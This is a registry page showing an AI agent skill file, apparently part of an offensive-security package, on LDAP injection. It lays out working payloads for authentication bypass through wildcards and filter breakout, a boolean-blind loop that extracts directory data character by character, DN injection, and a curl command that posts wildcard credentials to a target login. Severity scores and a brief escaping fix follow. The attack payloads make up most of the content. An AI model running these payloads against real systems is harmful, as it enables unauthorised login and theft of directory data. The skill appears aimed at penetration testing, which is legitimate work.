LDAP injection — auth bypass via filter manipulation, blind data extraction, search filter abuse, DN injection.
52
58%
Does it follow best practices?
Run evals on this skill
Adds up to 20 points to the overall score
View guide
Critical
Do not install without reviewing
Fix and improve this skill with Tessl
tessl review fix ./packages/decepticon/decepticon/skills/standard/exploit/web/ldapi/SKILL.mdLDAP filter syntax: (attr=value), combined with & (and), | (or), ! (not).
User input concatenated into the filter string = injection.
# Vulnerable code
filter = f"(&(uid={user})(userPassword={pw}))"
# Payload — comment-out rest of filter via wildcard
user = "*"
pw = "*"
# → (&(uid=*)(userPassword=*)) → matches first user, often admin
user = "admin)(|(uid=*"
pw = "anything"
# → (&(uid=admin)(|(uid=*))(userPassword=anything))
# → matches admin OR anyone (second clause), password check ignored# Boolean-blind: probe each char via wildcard match
for c in string.printable:
payload = f"*)(uid=admin)(description={c}*)"
if "found" in response:
# next char is c# If userdn is constructed from input
DN = f"cn={user},ou=People,dc=corp,dc=local"
# user = "admin\,ou=Admins" → cn=admin,ou=Admins,ou=People,dc=corp,dc=local
# (or sometimes confuses the bind)ldapsearch to verify directly once you have any cred_corpus/payloads/LDAP Injection/curl -s -X POST $TARGET/login -d 'user=*&pass=*' # if logged in → bug| Bug | Severity |
|---|---|
| Auth bypass via wildcard | Critical 9.8 |
| Blind extract of full LDAP directory | Critical 9.0 |
| DN injection enabling group escalation | High 8.0 |
import ldap3
# Use parameterized search filters via library helpers
from ldap3.utils.conv import escape_filter_chars
safe_user = escape_filter_chars(user)
conn.search('dc=corp,dc=local', f'(uid={safe_user})')skills/_corpus/payloads/LDAP Injection/skills/ad/SKILL.md0cf691e
If you maintain this skill, you can claim it as your own. Once claimed, you can manage eval scenarios, bundle related skills, attach documentation or rules, and ensure cross-agent compatibility.